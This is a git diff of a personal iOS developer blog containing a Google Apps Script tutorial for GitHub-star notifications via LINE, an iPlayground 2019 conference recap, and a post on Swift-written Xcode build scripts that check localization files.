+// Therefore, the standard Github Webhook verification method (https://docs.github.com/en/webhooks-and-events/webhooks/securing-your-webhooks)
+// Can only be manually matched with ?secret=XXX
+function verifyGitHubWebhook(e) {
+  if (e.parameter["secret"] === githubWebhookSecret) {
+    return true
+  } else {
+    return false
+  }
+}
+
+// -- Send Message --
+// Line
+// Other message sending methods can ask ChatGPT
+function sendLineNotifyMessage(message) {
+  var url = 'https://notify-api.line.me/api/notify';
+  
+  var options = {
+    method: 'post',
+    headers: {
+      'Authorization': 'Bearer '+lineToken
+    },
+    payload: {
+      'message': message
+    }
+  }; 
+  UrlFetchApp.fetch(url, options);
+}
+

lineToken & githubWebhookSecret carry the values copied from the previous step.

Additional Github Webhook data when someone presses Star is as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+
{
+  "action": "created",
+  "starred_at": "2023-08-01T03:42:26Z",
+  "repository": {
+    "id": 602927147,
+    "node_id": "R_kgDOI-_wKw",
+    "name": "ZMarkupParser",
+    "full_name": "ZhgChgLi/ZMarkupParser",
+    "private": false,
+    "owner": {
+      "login": "ZhgChgLi",
+      "id": 83232222,
+      "node_id": "MDEyOk9yZ2FuaXphdGlvbjgzMjMyMjIy",
+      "avatar_url": "https://avatars.githubusercontent.com/u/83232222?v=4",
+      "gravatar_id": "",
+      "url": "https://api.github.com/users/ZhgChgLi",
+      "html_url": "https://github.com/ZhgChgLi",
+      "followers_url": "https://api.github.com/users/ZhgChgLi/followers",
+      "following_url": "https://api.github.com/users/ZhgChgLi/following{/other_user}",
+      "gists_url": "https://api.github.com/users/ZhgChgLi/gists{/gist_id}",
+      "starred_url": "https://api.github.com/users/ZhgChgLi/starred{/owner}{/repo}",
+      "subscriptions_url": "https://api.github.com/users/ZhgChgLi/subscriptions",
+      "organizations_url": "https://api.github.com/users/ZhgChgLi/orgs",
+      "repos_url": "https://api.github.com/users/ZhgChgLi/repos",
+      "events_url": "https://api.github.com/users/ZhgChgLi/events{/privacy}",
+      "received_events_url": "https://api.github.com/users/ZhgChgLi/received_events",
+      "type": "Organization",
+      "site_admin": false
+    },
+    "html_url": "https://github.com/ZhgChgLi/ZMarkupParser",
+    "description": "ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.",
+    "fork": false,
+    "url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser",
+    "forks_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/forks",
+    "keys_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/keys{/key_id}",
+    "collaborators_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/collaborators{/collaborator}",
+    "teams_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/teams",
+    "hooks_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/hooks",
+    "issue_events_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues/events{/number}",
+    "events_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/events",
+    "assignees_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/assignees{/user}",
+    "branches_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/branches{/branch}",
+    "tags_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/tags",
+    "blobs_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/blobs{/sha}",
+    "git_tags_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/tags{/sha}",
+    "git_refs_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/refs{/sha}",
+    "trees_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/trees{/sha}",
+    "statuses_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/statuses/{sha}",
+    "languages_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/languages",
+    "stargazers_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/stargazers",
+    "contributors_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/contributors",
+    "subscribers_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/subscribers",
+    "subscription_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/subscription",
+    "commits_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/commits{/sha}",
+    "git_commits_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/commits{/sha}",
+    "comments_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/comments{/number}",
+    "issue_comment_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues/comments{/number}",
+    "contents_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/contents/{+path}",
+    "compare_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/compare/{base}...{head}",
+    "merges_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/merges",
+    "archive_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/{archive_format}{/ref}",
+    "downloads_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/downloads",
+    "issues_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues{/number}",
+    "pulls_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/pulls{/number}",
+    "milestones_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/milestones{/number}",
+    "notifications_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/notifications{?since,all,participating}",
+    "labels_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/labels{/name}",
+    "releases_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/releases{/id}",
+    "deployments_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/deployments",
+    "created_at": "2023-02-17T08:41:37Z",
+    "updated_at": "2023-08-01T03:42:27Z",
+    "pushed_at": "2023-08-01T00:07:41Z",
+    "git_url": "git://github.com/ZhgChgLi/ZMarkupParser.git",
+    "ssh_url": "git@github.com:ZhgChgLi/ZMarkupParser.git",
+    "clone_url": "https://github.com/ZhgChgLi/ZMarkupParser.git",
+    "svn_url": "https://github.com/ZhgChgLi/ZMarkupParser",
+    "homepage": "https://zhgchg.li",
+    "size": 27449,
+    "stargazers_count": 187,
+    "watchers_count": 187,
+    "language": "Swift",
+    "has_issues": true,
+    "has_projects": true,
+    "has_downloads": true,
+    "has_wiki": true,
+    "has_pages": false,
+    "has_discussions": false,
+    "forks_count": 10,
+    "mirror_url": null,
+    "archived": false,
+    "disabled": false,
+    "open_issues_count": 2,
+    "license": {
+      "key": "mit",
+      "name": "MIT License",
+      "spdx_id": "MIT",
+      "url": "https://api.github.com/licenses/mit",
+      "node_id": "MDc6TGljZW5zZTEz"
+    },
+    "allow_forking": true,
+    "is_template": false,
+    "web_commit_signoff_required": false,
+    "topics": [
+      "cocoapods",
+      "html",
+      "html-converter",
+      "html-parser",
+      "html-renderer",
+      "ios",
+      "nsattributedstring",
+      "swift",
+      "swift-package",
+      "textfield",
+      "uikit",
+      "uilabel",
+      "uitextview"
+    ],
+    "visibility": "public",
+    "forks": 10,
+    "open_issues": 2,
+    "watchers": 187,
+    "default_branch": "main"
+  },
+  "organization": {
+    "login": "ZhgChgLi",
+    "id": 83232222,
+    "node_id": "MDEyOk9yZ2FuaXphdGlvbjgzMjMyMjIy",
+    "url": "https://api.github.com/orgs/ZhgChgLi",
+    "repos_url": "https://api.github.com/orgs/ZhgChgLi/repos",
+    "events_url": "https://api.github.com/orgs/ZhgChgLi/events",
+    "hooks_url": "https://api.github.com/orgs/ZhgChgLi/hooks",
+    "issues_url": "https://api.github.com/orgs/ZhgChgLi/issues",
+    "members_url": "https://api.github.com/orgs/ZhgChgLi/members{/member}",
+    "public_members_url": "https://api.github.com/orgs/ZhgChgLi/public_members{/member}",
+    "avatar_url": "https://avatars.githubusercontent.com/u/83232222?v=4",
+    "description": "Building a Better World Together."
+  },
+  "sender": {
+    "login": "zhgtest",
+    "id": 4601621,
+    "node_id": "MDQ6VXNlcjQ2MDE2MjE=",
+    "avatar_url": "https://avatars.githubusercontent.com/u/4601621?v=4",
+    "gravatar_id": "",
+    "url": "https://api.github.com/users/zhgtest",
+    "html_url": "https://github.com/zhgtest",
+    "followers_url": "https://api.github.com/users/zhgtest/followers",
+    "following_url": "https://api.github.com/users/zhgtest/following{/other_user}",
+    "gists_url": "https://api.github.com/users/zhgtest/gists{/gist_id}",
+    "starred_url": "https://api.github.com/users/zhgtest/starred{/owner}{/repo}",
+    "subscriptions_url": "https://api.github.com/users/zhgtest/subscriptions",
+    "organizations_url": "https://api.github.com/users/zhgtest/orgs",
+    "repos_url": "https://api.github.com/users/zhgtest/repos",
+    "events_url": "https://api.github.com/users/zhgtest/events{/privacy}",
+    "received_events_url": "https://api.github.com/users/zhgtest/received_events",
+    "type": "User",
+    "site_admin": false
+  }
+}
+

Deployment

After completing the program writing, click “Deploy” in the upper right corner -> “New deployment”:

On the left side, select the type “Web App”:

  • Add description: Enter anything, I entered “ Release
  • Who has access: Please change to “ Anyone
  • Click “Deploy”

For the first deployment, you need to click “Grant access”:

After the account selection pop-up appears, select your current Gmail account:

The “Google hasn’t verified this app” message appears because the app we are developing is for personal use and does not need Google verification.

Simply click “Advanced” -> “Go to XXX (unsafe)” -> “Allow”:

After deployment, you can get the Request URL in the “Web App” section of the result page. Click “Copy” and note down this GAS URL.

⚠️️️ Side note, please note that if the code is modified, you need to update the deployment for it to take effect ⚠️

To make the modified code take effect, similarly click “Deploy” in the upper right corner -> select “Manage deployments” -> select the “✏️” in the upper right corner -> version selection “Create new version” -> click “Deploy”.

This completes the code update deployment.

Github Webhook Settings

  • Go back to Github
  • We can set Webhooks for Organizations (all Repos inside) or a single Repo to listen for new ⭐️ stars

Enter Organizations / Repo -> “Settings” -> find “Webhooks” on the left -> “Add webhook”:

  • Payload URL : Enter GAS URL and manually add our own security verification string ?secret=githubWebhookSecret at the end of the URL. For example, if your GAS URL is https://script.google.com/macros/s/XXX/exec and githubWebhookSecret is 123456; then the URL is: https://script.google.com/macros/s/XXX/exec?secret=123456.
  • Content type: Select application/json
  • Which events would you like to trigger this webhook? Select “Let me select individual events.” ⚠️️ Uncheck “Pushes” ️️️️⚠️ Check “Watches”, please note it is not “Stars” (but Stars also monitor the status of clicking stars, if using Stars GAS action judgment also needs adjustment )
  • Select “Active”
  • Click “Add webhook”
  • Complete the settings

🚀 Test

Go back to the set Organizations Repo / Repo and click “Star” or un-star and then re-“Star”:

You will receive a push notification!

Done! 🎉🎉🎉🎉

Promotion

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Travelogue 2023 Tokyo 5-Day Free and Easy Trip

POC App End-to-End Testing Local Snapshot API Mock Server

diff --git a/posts/4079036c85c2/index.html b/posts/4079036c85c2/index.html new file mode 100644 index 0000000000..b56c5d8ac7 --- /dev/null +++ b/posts/4079036c85c2/index.html @@ -0,0 +1 @@ + What was the experience of iPlayground 2019 like? | ZhgChgLi
Home What was the experience of iPlayground 2019 like?
Post
Cancel

What was the experience of iPlayground 2019 like?

What was the experience of iPlayground 2019 like?

Hot participation experience of iPlayground 2019

About the event

Last year it was held in mid-October, and I also started running Medium to record my life in early October last year; combining the UUID topic I heard and the participation experience, I also wrote an article; this year I continue to write my experience to gain popularity!

iPlayground 2019 (This time it was also subsidized by the [company](https://www.cakeresume.com/companies/addcn?locale=zh-TW){:target="_blank"} for corporate tickets)

iPlayground 2019 (This time it was also subsidized by the company for corporate tickets)

Compared to the first edition in 2018, this year has seen significant improvements in all aspects!

First, the venue. Last year it was in a basement conference hall, the space was small and felt oppressive, and it was not easy to use computers in the lecture rooms; this year it was held at the NTU Boya Hall, the venue was large and new, not crowded, and the classrooms had tables and sockets, making it convenient to use personal computers!

In terms of the agenda, in addition to domestic experts, this time foreign speakers were also invited to share in Taiwan; among them, the most popular was undoubtedly Wei Wang; this year also saw the first inclusion of workshops with hands-on teaching, but the spots were limited, so you had to be quick… I missed it while eating and chatting.

Sponsor booths and Ask the Speaker area were more convenient for interaction due to the larger venue and more activities; from the iChef booth #iCHEFxiPlayground I got a set of eco-friendly straws and dorayaki, from the Dcard booth I got a set of stickers and an eco-friendly cup sleeve again this year, plus a nihilistic quote wet wipe, from the 17 Live booth I filled out a questionnaire to draw Airpods 2, at the [ weak self ] Podcast booth I got stickers, and there were also booths from Grindr, CakeResume, and Bitrise to interact with. Here is a not comprehensive photo of the loot.

Incomplete Loot

Incomplete Loot

Food and After Party, both days had exquisite lunch boxes, iced coffee, and tea drinks available all day without limit. However, last year had more of an After Party vibe, like listening to big names tell stories at a bar, which was very interesting. This year felt more like an afternoon tea (still had alcohol, delicious siu mai, and desserts!). We mingled on our own, but I actually made new friends this year.

Must-have for foodies, bento photo

Must-have for foodies, bento photo

Top 5 Session Takeaways

1. Wei Wang (Cat God) on Network Request Component Design

This part resonated with me because our project does not use third-party network libraries; instead, we encapsulate methods ourselves. Many of the design patterns and issues the speaker mentioned are also areas we need to optimize and refactor. As the speaker said:

“Garbage needs to be sorted, and so does code…”

I need to go back and study this thoroughly. I will do the sorting <( _ _ )> p.s. I didn’t get the KingFisher sticker QQ

2. Japanese expert kishikawa katsumi

Introduced the new method UICollectionViewCompositionalLayout available in iOS ≥ 13, which allows us to avoid subclassing UICollectionViewLayout or using CollectionView Cell wrapping CollectionView to achieve complex layouts as before. This also resonated with me because our app uses the latter method to achieve the desired design style. The pinnacle was a CollectionView Cell wrapping a CollectionView, which in turn wrapped another CollectionView (three layers), making the code messy and hard to maintain. Besides introducing the structure and usage of UICollectionViewCompositionalLayout, the speaker also created a project following this model, allowing apps before iOS 12 to support the same effects — IBPCollectionViewCompositionalLayout. Amazing!

3. Ethan Huang on Developing Apple Watch Apps with SwiftUI

Previously wrote an article “ Let’s Make an Apple Watch App! “ based on watchOS 5 using traditional methods. Didn’t expect that now we can develop with SwiftUI! Apple Watch OS 6 supports generations 1-5, so there are fewer version issues. Practicing SwiftUI with watch apps is a good starting point (relatively simplified); will find time to revamp. p.s. Didn’t expect watchOS developers to be so marginalized QQ. Personally, I find it quite fun and hope more people can join!

4. TinXie and Yang Xiaomei on App Security Issues

Regarding the security issues of the app itself, I had never seriously studied it, with the inherent belief that “Apple is very closed and secure!” After listening to the two speakers’ presentations, I realized how fragile it is and understood the core concept of app security:

“When the cost of cracking exceeds the cost of protection, the app is secure.”

There is no guaranteed secure app, only increasing the difficulty of cracking to deter attackers!

Besides learning about the paid app Reveal, I also discovered the open-source free Lookin for viewing app UI. We often use Reveal; even if not for others, it’s convenient for debugging our own UI issues!

Additionally, regarding connection security, I recently published an article “ The app uses HTTPS transmission, but the data was still stolen. “, using mitmproxy to perform a man-in-the-middle attack by swapping the root CA. The speakers’ explanation of man-in-the-middle attacks, principles, and protection methods not only verified the correctness of my content but also deepened my understanding of this technique! It also broadened my horizons… knowing that there are jailbreak plugins that can directly intercept network requests without even needing certificate swapping.

5. Ding Peiyao on Optimizing Compilation Speed

This has also been a long-standing issue for us, the compilation is very slow; sometimes when making minor UI adjustments, it can be really frustrating. Just adjusting by 1pt, then waiting, then seeing the result, then adjusting by another 1pt, then waiting again, and then adjusting back… while(true)… It’s maddening!

The attempts and experience sharing mentioned by the speaker are really worth going back to study and applying to our own projects!

There are many other sessions (for example: things about colors A_A, I have also encountered issues with colors before)

But due to scattered notes, personal lack of related experience, or missing the session

All content can be waited for iPlayground 2019 to release the video replay (for recorded sessions), or refer to the official HackMD collaborative notes.

Soft Gains

Besides the technical gains, I personally gained more “ soft gains “ than last year. For the first time, I met Ethan Huang in person, and while discussing the Apple Watch development ecosystem, I also unintentionally exchanged a few words with the great Cat God. Additionally, I met many new developers, colleagues Frank and George Liu’s classmate Taihsin, Spock Xue, Crystal Liu, Nia Fan, Alice, Ada, old classmate Peter Chen, old colleague Hao Ge Qiu Yuhao… and many other new friends!

yes!

yes!

More highlights can be found on Twitter #iplayground

Thanks

Thanks to all the staff for their hard work and the speakers for their sharing, making these two days full of gains!

Great job! Thank you!

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

The APP uses HTTPS for transmission, but the data was still stolen.

New Xiaomi Smart Home Purchases

diff --git a/posts/41c49a75a743/index.html b/posts/41c49a75a743/index.html new file mode 100644 index 0000000000..c7dfc008a9 --- /dev/null +++ b/posts/41c49a75a743/index.html @@ -0,0 +1,1239 @@ + Write Run Script Directly in Swift with Xcode! | ZhgChgLi
Home Write Run Script Directly in Swift with Xcode!
Post
Cancel

Write Run Script Directly in Swift with Xcode!

Write Shell Script Directly in Swift with Xcode!

Introducing Localization multi-language and Image Assets missing check, using Swift to create Shell Script

Photo by [Glenn Carstens-Peters](https://unsplash.com/@glenncarstenspeters?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Glenn Carstens-Peters

Background

Because of my clumsiness, I often miss the “;” when editing multi-language files, causing the app to display the wrong language after building. Additionally, as development progresses, the language files become increasingly large, with repeated and unused phrases mixed together, making it very chaotic (the same situation applies to Image Assets).

I have always wanted to find a tool to help handle these issues. Previously, I used iOSLocalizationEditor, a Mac APP, but it is more like a language file editor that reads and edits language file content without automatic checking functionality.

Desired Features

Automatically check for errors, omissions, duplicates in multi-language files, and missing Image Assets when building the project.

Solution

To achieve our desired features, we need to add a Run Script check script in Build Phases.

However, the check script needs to be written using shell script. Since my proficiency in shell script is not very high, I thought of standing on the shoulders of giants and searching for existing scripts online but couldn’t find any that fully met the desired features. Just when I was about to give up, I suddenly thought:

Shell Script can be written in Swift!

Compared to shell script, I am more familiar and proficient with Swift! Following this direction, I indeed found two existing tool scripts!

Two checking tools written by the freshOS team:

They fully meet our desired feature requirements! And since they are written in Swift, customizing and modifying them is very easy.

Localize 🏁 Multi-language File Checking Tool

Features:

  • Automatic check during build
  • Automatic formatting and organizing of language files
  • Check for omissions and redundancies between multi-language and primary language files
  • Check for duplicate phrases in multi-language files
  • Check for untranslated phrases in multi-language files
  • Check for unused phrases in multi-language files

Installation Method:

  1. Download the Swift Script file of the tool
  2. Place it in the project directory, e.g., ${SRCROOT}/Localize.swift
  3. Open project settings → iOS Target → Build Phases → click the “+” in the top left corner → New Run Script Phases → paste the path in the Script content, e.g., ${SRCROOT}/Localize.swift

  1. Use Xcode to open and edit the Localize.swift file for configuration. You can see the configurable items in the upper part of the file: ```swift // Enable the check script let enabled = true

// Localization file directory let relativeLocalizableFolders = “/Resources/Languages”

// Project directory (used to search if the phrases are used in the code) let relativeSourceFolder = “/Sources”

// Regular expression patterns for NSLocalized phrases in the code // You can add your own without changing the existing ones let patterns = [ “NSLocalized(Format)?String\(\s@?"([\w\.]+)"”, // Swift and Objc Native “Localizations\.((?:[A-Z]{1}[a-z][A-z])(?:\.[A-Z]{1}[a-z][A-z]))”, // Laurine Calls “L10n.tr\(key: "(\w+)"”, // SwiftGen generation “ypLocalized\("(.)"\)”, “"(.*)".localized” // “key”.localized pattern ]

// Phrases to ignore for “unused phrase warning” let ignoredFromUnusedKeys: [String] = [] /* example let ignoredFromUnusedKeys = [ “NotificationNoOne”, “NotificationCommentPhoto”, “NotificationCommentHisPhoto”, “NotificationCommentHerPhoto” ] */

// Main language let masterLanguage = “en”

// Enable a-z sorting and organizing functionality for localization files let sanitizeFiles = false

// Is the project single or multi-language let singleLanguage = false

// Enable check for untranslated phrases let checkForUntranslated = true

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+
+5. Build! Success!
+
+![](/assets/41c49a75a743/1*74osParg9RRi2gcRx9ELuw.png)
+
+**Check result prompt types:**
+- **Build Error** ❌ **:**
+  - \[Duplication\] The item is duplicated in the localization file
+  - \[Unused Key\] The item is defined in the localization file but not used in the actual code
+  - \[Missing\] The item is used in the actual code but not defined in the localization file
+  - \[Redundant\] The item is redundant in this localization file compared to the main localization file
+  - \[Missing Translation\] The item exists in the main localization file but is missing in this localization file
+- **Build Warning** ⚠️ **:**
+  - \[Potentially Untranslated\] This item is untranslated (same content as the main localization file)
+
+> **_Not done yet, now we have automatic check prompts, but we still need to customize a bit._**
+
+**Custom regular expression matching:**
+
+Looking back at the patterns section in the top configuration block of the check script `Localize.swift`:
+
+`"NSLocalized(Format)?String\\(\\s*@?\"([\\w\\.]+)\""`
+
+This matches the `NSLocalizedString()` method in Swift/ObjC, but this regular expression can only match phrases like `"Home.Title"`. If we have full sentences or phrases with format parameters, they will be mistakenly marked as \[Unused Key\].
+
+EX: `"Hi, %@ welcome to my app", "Hello World!"` **<- These phrases cannot be matched**
+
+We can add a new pattern setting or change the original pattern to:
+
+`"NSLocalized(Format)?String\\(\\s*@?\"([^(\")]+)\""`
+
+The main adjustment is to match any string until the `"` appears, stopping there. You can also [click here](https://rubular.com/r/5eXvGy3svsAHyT){:target="_blank"} to customize according to your needs.
+
+**Add Language File Format Check Functionality:**
+
+This script only checks the content of language files for correspondence and does not check if the file format is correct (whether a ";" is missing). If you need this functionality, you need to add it yourself!
+```swift
+//....
+let formatResult = shell("plutil -lint \(location)")
+guard formatResult.trimmingCharacters(in: .whitespacesAndNewlines).suffix(2) == "OK" else {
+  let str = "\(path)/\(name).lproj"
+            + "/Localizable.strings:1: "
+            + "error: [File Invalid] "
+            + "This Localizable.strings file format is invalid."
+  print(str)
+  numberOfErrors += 1
+  return
+}
+//....
+
+func shell(_ command: String) -> String {
+    let task = Process()
+    let pipe = Pipe()
+
+    task.standardOutput = pipe
+    task.arguments = ["-c", command]
+    task.launchPath = "/bin/bash"
+    task.launch()
+
+    let data = pipe.fileHandleForReading.readDataToEndOfFile()
+    let output = String(data: data, encoding: .utf8)!
+
+    return output
+}
+

Add shell() to execute shell scripts, using plutil -lint to check the correctness of the plist language file format. If there are errors or missing “;”, it will return an error; if there are no errors, it will return OK as the judgment!

The check can be added after LocalizationFiles->process( )-> let location = singleLanguage…, around line 135, or refer to the complete modified version I provided at the end.

Other Customizations:

We can customize according to our needs, such as changing error to warning or removing a certain check function (EX: Potentially Untranslated, Unused Key); the script is in Swift, which we are all familiar with! No fear of breaking or making mistakes!

To show Error ❌ during build:

1
+
print("ProjectFile.lproj" + "/File:Line: " + "error: ErrorMessage")
+

To show Warning ⚠️ during build:

1
+
print("ProjectFile.lproj" + "/File:Line: " + "warning: WarningMessage")
+

Final Modified Version:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+180
+181
+182
+183
+184
+185
+186
+187
+188
+189
+190
+191
+192
+193
+194
+195
+196
+197
+198
+199
+200
+201
+202
+203
+204
+205
+206
+207
+208
+209
+210
+211
+212
+213
+214
+215
+216
+217
+218
+219
+220
+221
+222
+223
+224
+225
+226
+227
+228
+229
+230
+231
+232
+233
+234
+235
+236
+237
+238
+239
+240
+241
+242
+243
+244
+245
+246
+247
+248
+249
+250
+251
+252
+253
+254
+255
+256
+257
+258
+259
+260
+261
+262
+263
+264
+265
+266
+267
+268
+269
+270
+271
+272
+273
+274
+275
+276
+277
+278
+279
+280
+281
+282
+283
+284
+285
+286
+287
+288
+289
+290
+291
+292
+293
+294
+295
+296
+297
+298
+299
+300
+301
+302
+303
+304
+305
+306
+307
+308
+309
+310
+311
+312
+313
+314
+315
+316
+317
+318
+319
+320
+321
+322
+323
+324
+325
+326
+327
+328
+329
+330
+331
+332
+333
+334
+335
+336
+337
+338
+339
+340
+341
+342
+343
+344
+345
+
#!/usr/bin/env xcrun --sdk macosx swift
+
+import Foundation
+
+// WHAT
+// 1. Find Missing keys in other Localisation files
+// 2. Find potentially untranslated keys
+// 3. Find Duplicate keys
+// 4. Find Unused keys and generate script to delete them all at once
+
+// MARK: Start Of Configurable Section
+
+/*
+ You can enable or disable the script whenever you want
+ */
+let enabled = true
+
+/*
+ Put your path here, example ->  Resources/Localizations/Languages
+ */
+let relativeLocalizableFolders = "/streetvoice/SupportingFiles"
+
+/*
+ This is the path of your source folder which will be used in searching
+ for the localization keys you actually use in your project
+ */
+let relativeSourceFolder = "/streetvoice"
+
+/*
+ Those are the regex patterns to recognize localizations.
+ */
+let patterns = [
+    "NSLocalized(Format)?String\\(\\s*@?\"([^(\")]+)\"", // Swift and Objc Native
+    "Localizations\\.((?:[A-Z]{1}[a-z]*[A-z]*)*(?:\\.[A-Z]{1}[a-z]*[A-z]*)*)", // Laurine Calls
+    "L10n.tr\\(key: \"(\\w+)\"", // SwiftGen generation
+    "ypLocalized\\(\"(.*)\"\\)",
+    "\"(.*)\".localized" // "key".localized pattern
+]
+
+/*
+ Those are the keys you don't want to be recognized as "unused"
+ For instance, Keys that you concatenate will not be detected by the parsing
+ so you want to add them here in order not to create false positives :)
+ */
+let ignoredFromUnusedKeys: [String] = []
+/* example
+let ignoredFromUnusedKeys = [
+    "NotificationNoOne",
+    "NotificationCommentPhoto",
+    "NotificationCommentHisPhoto",
+    "NotificationCommentHerPhoto"
+]
+*/
+
+let masterLanguage = "base"
+
+/*
+ Sanitizing files will remove comments, empty lines and order your keys alphabetically.
+ */
+let sanitizeFiles = false
+
+/*
+ Determines if there are multiple localizations or not.
+ */
+let singleLanguage = false
+
+/*
+ Determines if we should show errors if there's a key within the app
+ that does not appear in master translations.
+*/
+let checkForUntranslated = false
+
+// MARK: End Of Configurable Section
+
+if enabled == false {
+    print("Localization check cancelled")
+    exit(000)
+}
+
+// Detect list of supported languages automatically
+func listSupportedLanguages() -> [String] {
+    var sl: [String] = []
+    let path = FileManager.default.currentDirectoryPath + relativeLocalizableFolders
+    if !FileManager.default.fileExists(atPath: path) {
+        print("Invalid configuration: \(path) does not exist.")
+        exit(1)
+    }
+    let enumerator = FileManager.default.enumerator(atPath: path)
+    let extensionName = "lproj"
+    print("Found these languages:")
+    while let element = enumerator?.nextObject() as? String {
+        if element.hasSuffix(extensionName) {
+            print(element)
+            let name = element.replacingOccurrences(of: ".\(extensionName)", with: "")
+            sl.append(name)
+        }
+    }
+    return sl
+}
+
+let supportedLanguages = listSupportedLanguages()
+var ignoredFromSameTranslation: [String: [String]] = [:]
+let path = FileManager.default.currentDirectoryPath + relativeLocalizableFolders
+var numberOfWarnings = 0
+var numberOfErrors = 0
+
+struct LocalizationFiles {
+    var name = ""
+    var keyValue: [String: String] = [:]
+    var linesNumbers: [String: Int] = [:]
+
+    init(name: String) {
+        self.name = name
+        process()
+    }
+
+    mutating func process() {
+        if sanitizeFiles {
+            removeCommentsFromFile()
+            removeEmptyLinesFromFile()
+            sortLinesAlphabetically()
+        }
+        let location = singleLanguage ? "\(path)/Localizable.strings" : "\(path)/\(name).lproj/Localizable.strings"
+        
+        let formatResult = shell("plutil -lint \(location)")
+        guard formatResult.trimmingCharacters(in: .whitespacesAndNewlines).suffix(2) == "OK" else {
+            let str = "\(path)/\(name).lproj"
+                + "/Localizable.strings:1: "
+                + "error: [File Invalid] "
+                + "This Localizable.strings file format is invalid."
+            print(str)
+            numberOfErrors += 1
+            return
+        }
+        
+        guard let string = try? String(contentsOfFile: location, encoding: .utf8) else {
+            return
+        }
+
+        let lines = string.components(separatedBy: .newlines)
+        keyValue = [:]
+
+        let pattern = "\"(.*)\" = \"(.+)\";"
+        let regex = try? NSRegularExpression(pattern: pattern, options: [])
+        var ignoredTranslation: [String] = []
+
+        for (lineNumber, line) in lines.enumerated() {
+            let range = NSRange(location: 0, length: (line as NSString).length)
+
+            // Ignored pattern
+            let ignoredPattern = "\"(.*)\" = \"(.+)\"; *\\/\\/ *ignore-same-translation-warning"
